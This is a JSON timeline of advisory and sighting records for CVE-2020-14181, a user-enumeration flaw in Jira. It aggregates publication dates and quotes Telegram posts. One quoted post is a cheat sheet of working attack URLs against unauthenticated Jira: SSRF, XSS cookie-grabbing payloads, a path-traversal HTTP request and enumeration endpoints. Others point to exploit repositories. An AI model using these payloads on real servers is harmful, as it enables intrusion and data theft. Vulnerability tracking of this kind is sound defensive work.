{"metadata": {"vulnerability": "CVE-2020-14181", "count": 28, "kinds": {"milestone": 4, "sighting": 10, "kev": 0, "other": 14}}, "data": [{"timestamp": "2020-06-16T00:00:00Z", "date_only": false, "value": "2020-06-16T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2020-14181", "field": "cveMetadata.dateReserved"}, {"timestamp": "2020-09-16T00:00:00Z", "date_only": false, "value": "2020-09-16T00:00:00", "kind": "other", "label": "DATE PUBLIC", "source": "cvelistv5 / atlassian", "record": "CVE-2020-14181", "field": "containers.cna.x_legacyV4Record.CVE_data_meta.DATE_PUBLIC"}, {"timestamp": "2020-09-16T00:00:00Z", "date_only": false, "value": "2020-09-16T00:00:00", "kind": "other", "label": "DATE PUBLIC", "source": "gsd \u00b7 GSD-2020-14181", "record": "GSD-2020-14181", "field": "namespaces.cve.org.CVE_data_meta.DATE_PUBLIC"}, {"timestamp": "2020-09-16T00:00:00Z", "date_only": false, "value": "2020-09-16T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "CVE-2020-14181", "field": "containers.cna.datePublic"}, {"timestamp": "2020-09-17T00:35:13.239Z", "date_only": false, "value": "2020-09-17T00:35:13.239Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2020-14181", "field": "cveMetadata.datePublished"}, {"timestamp": "2020-09-17T01:15:00Z", "date_only": false, "value": "2020-09-17T01:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-HPXX-CQ4G-W5WR", "record": "GHSA-HPXX-CQ4G-W5WR", "field": "database_specific.nvd_published_at"}, {"timestamp": "2020-09-17T01:15:00Z", "date_only": false, "value": "2020-09-17T01:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2020-14181", "record": "GSD-2020-14181", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2020-09-17T01:15:11.747Z", "date_only": false, "value": "2020-09-17T01:15:11.747", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2020-14181", "record": "FKIE_CVE-2020-14181", "field": "published"}, {"timestamp": "2020-09-18T00:00:00Z", "date_only": true, "value": "2020-09-18", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2020-52933", "record": "CNVD-2020-52933", "field": "submitTime"}, {"timestamp": "2020-09-21T00:00:00Z", "date_only": true, "value": "2020-09-21", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2020-52933", "record": "CNVD-2020-52933", "field": "openTime"}, {"timestamp": "2021-03-10T17:06:27Z", "date_only": false, "value": "2021-03-10T17:06:27.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / atlassian", "record": "CVE-2020-14181", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2021-09-15T17:55:43Z", "date_only": false, "value": "2021-09-15T17:55:43.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/jira_user_enum.rb", "record": "CVE-2020-14181", "field": "creation_timestamp", "uuid": "c5ef8d08-b047-404d-ad0c-0642a4329758", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/jira_user_enum.rb"}, {"timestamp": "2021-11-02T04:29:14Z", "date_only": false, "value": "2021-11-02T04:29:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/1983", "record": "CVE-2020-14181", "field": "creation_timestamp", "uuid": "aefe4a65-d045-4569-948e-64a8915f77e7", "content": "#exploit\nCVE-2020-14181:\nAtlassian Jira Server/Data Center (<7.13.6, 8.0.0-8.5.7, 8.6-8.12) allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the \n/ViewUserHover.jspa endpoint (PoC)\nhttps://github.com/chaitin/xray/pull/911/commits\n... is easy exploitable simply by browsing:\nhttps://server/secure/ViewUserHover.jspa?username=username_to_test, eg https://server/secure/ViewUserHover.jspa?username=admin", "url": "https://t.me/CyberSecurityTechnologies/1983"}, {"timestamp": "2022-03-25T18:14:00Z", "date_only": false, "value": "2022-03-25T18:14Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2020-14181", "record": "GSD-2020-14181", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2022-05-24T17:28:54Z", "date_only": false, "value": "2022-05-24T17:28:54Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-HPXX-CQ4G-W5WR", "record": "GHSA-HPXX-CQ4G-W5WR", "field": "published"}, {"timestamp": "2022-05-24T17:28:54Z", "date_only": false, "value": "2022-05-24T17:28:54Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-HPXX-CQ4G-W5WR", "record": "GHSA-HPXX-CQ4G-W5WR", "field": "modified"}, {"timestamp": "2023-12-13T01:22:00.366Z", "date_only": false, "value": "2023-12-13T01:22:00.366211Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2020-14181", "record": "GSD-2020-14181", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-03-18T07:23:33Z", "date_only": false, "value": "2024-03-18T07:23:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/lostsec/164", "record": "CVE-2020-14181", "field": "creation_timestamp", "uuid": "83603010-c8e2-4d82-a9b0-d5350d10c468", "content": "# Unauthenticated Jira CVEs\n1. CVE-2017-9506 (SSRF)\nhttps:///plugins/servlet/oauth/users/icon-uri?consumerUri=\n2. CVE-2018-20824 (XSS)\nhttps:///plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)\n3. CVE-2019-8451 (SSRF)\nhttps:///plugins/servlet/gadgets/makeRequest?url=https://:1337@example.com\n4. CVE-2019-8449 (User Information Disclosure)\nhttps:///rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true\n5. CVE-2019-8442 (Sensitive Information Disclosure)\nhttps:///s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml\n6. CVE-2019-3403 (User Enumeration)\nhttps:///rest/api/2/user/picker?query=\n7. CVE-2020-14181 (User Enumeration)\nhttps:///secure/ViewUserHover.jspa?username=\n8. CVE-2020-14178 (Project Key Enumeration)\nhttps:///browse.\n9. CVE-2020-14179 (Information Disclosure)\nhttps:///secure/QueryComponent!Default.jspa\n10. CVE-2019-11581 (Template Injection)\n/secure/ContactAdministrators!default.jspa\n\n* Try the SSTI Payloads\n11.   CVE-2019-3396 (Path Traversal)\nPOST /rest/tinymce/1/macro/preview HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nAccept-Language: en-US,en;q=0.5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\nReferer: {{Hostname}}\nContent-Length: 168\nConnection: close\n\n{\"contentId\":\"786457\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.viddler.com/v/23464dc5\",\"width\":\"1000\",\"height\":\"1000\",\"_template\":\"../web.xml\"}}}\n\n*Try above request with the Jira target\n12.   CVE-2019-3402 (XSS)\nhttps:///secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search\n/secure/ConfigurePortalPages!default.jspa?view=popular\n/secure/ManageFilters.jspa?filterView=search&Search=Search&filterView=search&sortColumn=favcount&sortAscending=false\n/secure/ContactAdministrators!default.jspa\n/servicedesk/customer/user/login\n/issues/?jql=\n/plugins/servlet/oauth/users/icon-uri?consumerUri=http://google.com\n/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true\n/plugins/servlet/gadgets/makeRequest?url=https://victomhost:1337@example.com\n/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)\n/secure/QueryComponent!Default.jspa\n/secure/ViewUserHover.jspa\n/ViewUserHover.jspa?username=Admin\n/rest/api/2/dashboard?maxResults=100\n/pages/%3CIFRAME%20SRC%3D%22javascript%3Aalert(\u2018XSS\u2019)%22%3E.vm\n/rest/api/2/user/picker?query=admin\n/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml\n/rest/api/2/user/picker?query=admin\n/s/\n/plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.google.nl\n/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=Search\nConfigurePortalPages.jspa\n/plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true\nREPORTS:- \nhttps://hackerone.com/reports/713900\nhttps://hackerone.com/reports/1103582\nhttps://hackerone.com/reports/380354\nhttps://hackerone.com/reports/197726\nhttps://hackerone.com/reports/632808", "url": "https://t.me/lostsec/164"}, {"timestamp": "2024-08-04T12:39:36.073Z", "date_only": false, "value": "2024-08-04T12:39:36.073Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2020-14181", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-09-16T21:57:12.718Z", "date_only": false, "value": "2024-09-16T21:57:12.718Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2020-14181", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-10-09T19:49:41Z", "date_only": false, "value": "2024-10-09T19:49:41.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberSecurityTechnologies/2581", "record": "CVE-2020-14181", "field": "creation_timestamp", "uuid": "f67b13ee-a827-4b66-b754-e093d359f0d0", "content": "#exploit\n#Infographics\nUnauthenticated JIRA CVEs to Exploit:\nCVE-2020-14179 - Information Disclosure\nhttps://github.com/c0brabaghdad1/CVE-2020-14179\nCVE-2020-14181 - User Enumeration\nhttps://github.com/Rival420/CVE-2020-14181\nCVE-2020-14178 - Project Key Enumeration\nCVE-2019-3402 - XSS \nCVE-2019-11581 - SSTI\nCVE-2019-8451 - SSRF\nCVE-2019-8449 - User Information Disclosure\nCVE-2019-3403 - User Enumeration\nCVE-2019-8442 - Sensitive Info Disclosure\nhttps://mobile.twitter.com/harshbothra_/status/1346109605756116995", "url": "https://t.me/CyberSecurityTechnologies/2581"}, {"timestamp": "2025-02-06T03:13:44Z", "date_only": false, "value": "2025-02-06T03:13:44.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2020-14181", "field": "creation_timestamp", "uuid": "99a7f1ff-e2c8-47ca-9535-911a4553aa7c"}, {"timestamp": "2025-02-23T04:10:24Z", "date_only": false, "value": "2025-02-23T04:10:24.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2020-14181", "field": "creation_timestamp", "uuid": "fec65509-9d10-48fa-a49e-d244a81c9acf"}, {"timestamp": "2025-04-13T12:04:46Z", "date_only": false, "value": "2025-04-13T12:04:46.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/marcostolosa/bf0f4a6ea030bc83c2d8dde8df077407", "record": "CVE-2020-14181", "field": "creation_timestamp", "uuid": "4d929d56-f243-43f1-8b95-ef877d8470bc", "url": "https://gist.github.com/marcostolosa/bf0f4a6ea030bc83c2d8dde8df077407"}, {"timestamp": "2025-08-31T03:01:02Z", "date_only": false, "value": "2025-08-31T03:01:02.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "record": "CVE-2020-14181", "field": "creation_timestamp", "uuid": "7989a46d-1e1b-4e1e-8e99-478a9884e24f"}, {"timestamp": "2026-06-17T02:54:21.110Z", "date_only": false, "value": "2026-06-17T02:54:21.110", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2020-14181", "record": "FKIE_CVE-2020-14181", "field": "lastModified"}, {"timestamp": "2026-08-16T19:00:06.918Z", "date_only": false, "value": "2026-08-16T19:00:06.918065Z", "kind": "sighting", "label": "Seen", "source": "Telegram/vkysCQ4F3B8qnLn6h8FZbCPlmaf6IlPp_3mDNe7ox0yzoDM", "record": "CVE-2020-14181", "field": "creation_timestamp", "uuid": "dc124c73-1ada-4eae-b671-d50a95e12bbd"}, {"timestamp": "2026-09-01T17:01:04.776Z", "date_only": false, "value": "2026-09-01T17:01:04.776616Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/2233", "record": "CVE-2020-14181", "field": "creation_timestamp", "uuid": "ea10af9e-7fde-4732-918d-39745a5e3fe9", "content": "Unauthenticated JIRA CVEs to Exploit\nPoCs:\nCVE-2020-14179 - Information Disclosure\nCVE-2020-14181 - User Enumeration\nCVE-2020-14178 - Project Key Enumeration\nCVE-2019-3402 - XSS \nCVE-2019-11581 - SSTI\nCVE-2019-8451 - SSRF\nCVE-2019-8449 - User Information Disclosure\nCVE-2019-3403 - User Enumeration\nCVE-2019-8442 - Sensitive Info Disclosure", "url": "https://t.me/cissp/2233"}]}